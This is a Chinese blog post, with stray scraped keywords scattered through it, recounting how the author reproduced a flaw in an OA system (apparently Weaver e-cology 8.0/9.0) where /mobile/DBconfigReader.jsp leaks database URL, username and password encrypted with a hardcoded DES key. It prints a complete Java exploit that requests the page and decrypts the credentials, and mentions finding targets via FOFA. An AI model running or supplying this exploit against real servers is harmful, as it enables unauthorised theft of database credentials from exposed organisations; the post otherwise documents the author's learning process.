目前
0x00 前言
0x01 漏洞簡訴
0x02 漏洞分析
0x03 漏洞剖析
0x04 漏洞復現
0x05 復現那些淚水
0x06 復現總結
0x07 免責聲明html
漏洞被曝光有幾天時間了。一直在上課沒有時間寫,昨天晚上整了一夜,加上今天下午和學長搞了一下午才復現成功!
通過此次我意識到了會開發的重要性,我前先後後問了一堆人,百度了一堆問題!最後發現會開發能解決這一切問題!java
各位看官且看下文分析!web
漏洞涉及範圍,用fofa搜索,看影響範圍,還挺大的!算法
影響版本:包括不限於8.0、9.0版
apache
分析看源碼[1]分析,sb字符串是url、user、password和logintype組成!
而後str是sb的字符串轉成字節,(重點!!!)keyString是1z2x3c4v5b6n 。
keyByte是keyString轉成字節而來!
dsk1 是 DESkeySpec 類對象。
接下去都是加密的過程!(說實話我如今還有點迷)
安全
通過上面一系列的操做,而後我訪問使用payload訪問目標站點,會看到是一堆由DES加密的亂碼!
微信
通過一系列的分析,不難發現利用這漏洞只要掌握兩個要點!網絡
/** * 解密實現 源碼來着https://www.cnblogs.com/itrena/p/9081056.html * @param src byte[] * @param password String * @return byte[] * @throws Exception */ public static byte[] decrypt(byte[] src, String password) throws Exception { // DES算法要求有一個可信任的隨機數源 SecureRandom random = new SecureRandom(); // 建立一個DESKeySpec對象 DESKeySpec desKey = new DESKeySpec(password.getBytes()); // 建立一個密匙工廠 SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); // 將DESKeySpec對象轉換成SecretKey對象 SecretKey securekey = keyFactory.generateSecret(desKey); // Cipher對象實際完成解密操做 Cipher cipher = Cipher.getInstance("DES"); // 用密匙初始化Cipher對象 cipher.init(Cipher.DECRYPT_MODE, securekey, random); // 真正開始解密操做 return cipher.doFinal(src); }
昨天晚上通過大量實踐分析,諮詢以後!我仍是失敗了。
今天早上起來已是中午。
像往常同樣打開微信QQ看看親友羣[2]、朋友圈、QQ空間!
當我看到我這個漏洞圈子社區17小時以前有人已經發了exp[3]。我就火燒眉毛的去試試了!dom
package com.test; import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom; public class ReadDbConfig { private final static String DES = "DES"; private final static String key = "1z2x3c4v5b6n"; public static void main(String[] args) throws Exception { if(args[0]!=null&& args[0].length() !=0){ String url = args[0]+"/mobile/DBconfigReader.jsp"; System.out.println(ReadConfig(url)); }else{ System.err.print("use: java -jar ecologyExp http://127.0.0.1"); } } private static String ReadConfig(String url) throws Exception { CloseableHttpClient httpClient = HttpClientBuilder.create().build(); HttpGet httpGet = new HttpGet(url); CloseableHttpResponse response = httpClient.execute(httpGet); HttpEntity responseEntity = response.getEntity(); byte[] res1 = EntityUtils.toByteArray(responseEntity); byte[] data = subBytes(res1,10,res1.length-10); byte [] finaldata =decrypt(data,key.getBytes()); return (new String(finaldata)); } private static byte[] decrypt(byte[] data, byte[] key) throws Exception { SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(key); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance(DES); cipher.init(Cipher.DECRYPT_MODE, securekey, sr); return cipher.doFinal(data); } public static byte[] subBytes(byte[] src, int begin, int count) { byte[] bs = new byte[count]; System.arraycopy(src, begin, bs, 0, count); return bs; } }
看完以後,有點驚喜又有點失落。驚喜的是有完整的源碼,可是沒有jar。
這個讓我一個java菜鳥如何是好!我在求助了一個熱心作開發的學長以後,通過咱們不斷試錯!不斷debug,終於完成了!
jsp
千辛萬苦解決一切bug以後首先碰見第一道坑!
第二道坑!
第三個坑!
這個坑是這個網站使用不一樣的密鑰致使的!(也就是密鑰不是1z2x3c4v5b6n)
沒有放出jar文件是由於最新安全發的緣故。請遵照《網絡安全法》等相關法律法規。
[1]源碼來着360CET公共號:https://mp.weixin.qq.com/s/zTEUan_BtDDzuHzmd9pxYg [2]親友羣:就是安全羣。在不一樣安全羣經常能見到不少相同的人,因此被稱爲親友羣。 [3]exp源碼來着:https://www.secquan.org/BugWarning/1070442